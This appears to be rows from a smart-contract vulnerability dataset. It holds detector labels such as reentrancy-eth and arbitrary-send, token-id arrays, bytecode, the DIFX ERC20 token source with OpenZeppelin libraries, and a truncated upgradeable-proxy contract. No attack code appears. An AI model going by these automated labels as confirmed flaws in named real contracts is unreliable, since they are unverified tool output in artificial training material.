{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2683, 11387, 2629, 3207, 12740, 2094, 2692, 15878, 2683, 24594, 22394, 22907, 2475, 2063, 12521, 20842, 2497, 20958, 2050, 2683, 2850, 24096, 17134, 2692, 2629, 1013, 1013, 1056, 2290, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 7596, 5302, 5644, 4048, 3676, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1021, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 3477, 3085, 1006, 5796, 2290, 1012, 4604, 2121, 1007, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,898
0x9792409ae27726d337af30d701ab525372495607
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; // pragma abicoder v2; pragma abicoder v2; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; uint256 constant BASE = 1000000000000000000; contract DIFX is ERC20("DigitalFinancialExch", "DIFX") { constructor( address _vestingContract, address _publicSale, address _launchpad, address _staking, address _airdrops, address _advisory, address _bounty ) { // mint for private sale with 1 years vesting _mint(_vestingContract, 37125000 * BASE); // mint for private sale with 2 years vesting _mint(_vestingContract, 37125000 * BASE); // mint for Strategic Development _mint(_vestingContract, 110000000 * BASE); // mint for Founders _mint(_vestingContract, 66000000 * BASE); // mint for Core Team _mint(_vestingContract, 27500000 * BASE); // mint for Public Sale _mint(_publicSale, 99000000 * BASE); // mint for Launchpad _mint(_launchpad, 74250000 * BASE); // mint for Staking _mint(_staking, 55000000 * BASE); // mint for Airdrops, Referrals & New Account Registration _mint(_airdrops, 27500000 * BASE); // mint for advisory panal _mint(_advisory, 11000000 * BASE); // mint for bounty _mint(_bounty, 5500000 * BASE); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012957806370a082311461013c57806395d89b411461014f578063a457c2d714610157578063a9059cbb1461016a578063dd62ed3e1461017d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ec57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b6610190565b6040516100c39190610868565b60405180910390f35b6100df6100da366004610834565b610226565b6040516100c3919061085d565b6100f4610243565b6040516100c391906108bb565b6100df61010f3660046107f9565b610249565b61011c6102d0565b6040516100c391906108c4565b6100df610137366004610834565b6102d9565b6100f461014a3660046107ad565b610327565b6100b6610346565b6100df610165366004610834565b6103a7565b6100df610178366004610834565b61040f565b6100f461018b3660046107c7565b610423565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561021c5780601f106101f15761010080835404028352916020019161021c565b820191906000526020600020905b8154815290600101906020018083116101ff57829003601f168201915b5050505050905090565b600061023a6102336104af565b84846104b3565b50600192915050565b60025490565b600061025684848461059f565b6102c6846102626104af565b6102c18560405180606001604052806028815260200161093e602891396001600160a01b038a166000908152600160205260408120906102a06104af565b6001600160a01b0316815260208101919091526040016000205491906106fa565b6104b3565b5060019392505050565b60055460ff1690565b600061023a6102e66104af565b846102c185600160006102f76104af565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061044e565b6001600160a01b0381166000908152602081905260409020545b919050565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561021c5780601f106101f15761010080835404028352916020019161021c565b600061023a6103b46104af565b846102c1856040518060600160405280602581526020016109af60259139600160006103de6104af565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906106fa565b600061023a61041c6104af565b848461059f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000828201838110156104a8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166104f85760405162461bcd60e51b815260040180806020018281038252602481526020018061098b6024913960400191505060405180910390fd5b6001600160a01b03821661053d5760405162461bcd60e51b81526004018080602001828103825260228152602001806108f66022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166105e45760405162461bcd60e51b81526004018080602001828103825260258152602001806109666025913960400191505060405180910390fd5b6001600160a01b0382166106295760405162461bcd60e51b81526004018080602001828103825260238152602001806108d36023913960400191505060405180910390fd5b610634838383610791565b61067181604051806060016040528060268152602001610918602691396001600160a01b03861660009081526020819052604090205491906106fa565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546106a0908261044e565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156107895760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561074e578181015183820152602001610736565b50505050905090810190601f16801561077b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b505050565b80356001600160a01b038116811461034157600080fd5b6000602082840312156107be578081fd5b6104a882610796565b600080604083850312156107d9578081fd5b6107e283610796565b91506107f060208401610796565b90509250929050565b60008060006060848603121561080d578081fd5b61081684610796565b925061082460208501610796565b9150604084013590509250925092565b60008060408385031215610846578182fd5b61084f83610796565b946020939093013593505050565b901515815260200190565b6000602080835283518082850152825b8181101561089457858101830151858201604001528201610878565b818111156108a55783604083870101525b50601f01601f1916929092016040019392505050565b90815260200190565b60ff9190911681526020019056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bada6a8737cc3bdda65ff60201b171760ff1fb06a86b94de62a25f44c451ae9a64736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2683, 18827, 2692, 2683, 6679, 22907, 2581, 23833, 2094, 22394, 2581, 10354, 14142, 2094, 19841, 2487, 7875, 25746, 22275, 2581, 18827, 2683, 26976, 2692, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 1013, 1013, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 21318, 3372, 17788, 2575, 5377, 2918, 1027, 6694, 8889, 8889, 8889, 8889, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,899
0x9792ee4c36a622a8cf9566b037c57519a9fe8a56
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() virtual internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() virtual internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract return; _willFallback(); _delegate(_implementation()); } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ abstract contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() override internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() virtual override internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); //super._willFallback(); } } interface IAdminUpgradeabilityProxyView { function admin() external view returns (address); function implementation() external view returns (address); } /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } //function _willFallback() virtual override internal { //super._willFallback(); //} } /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * 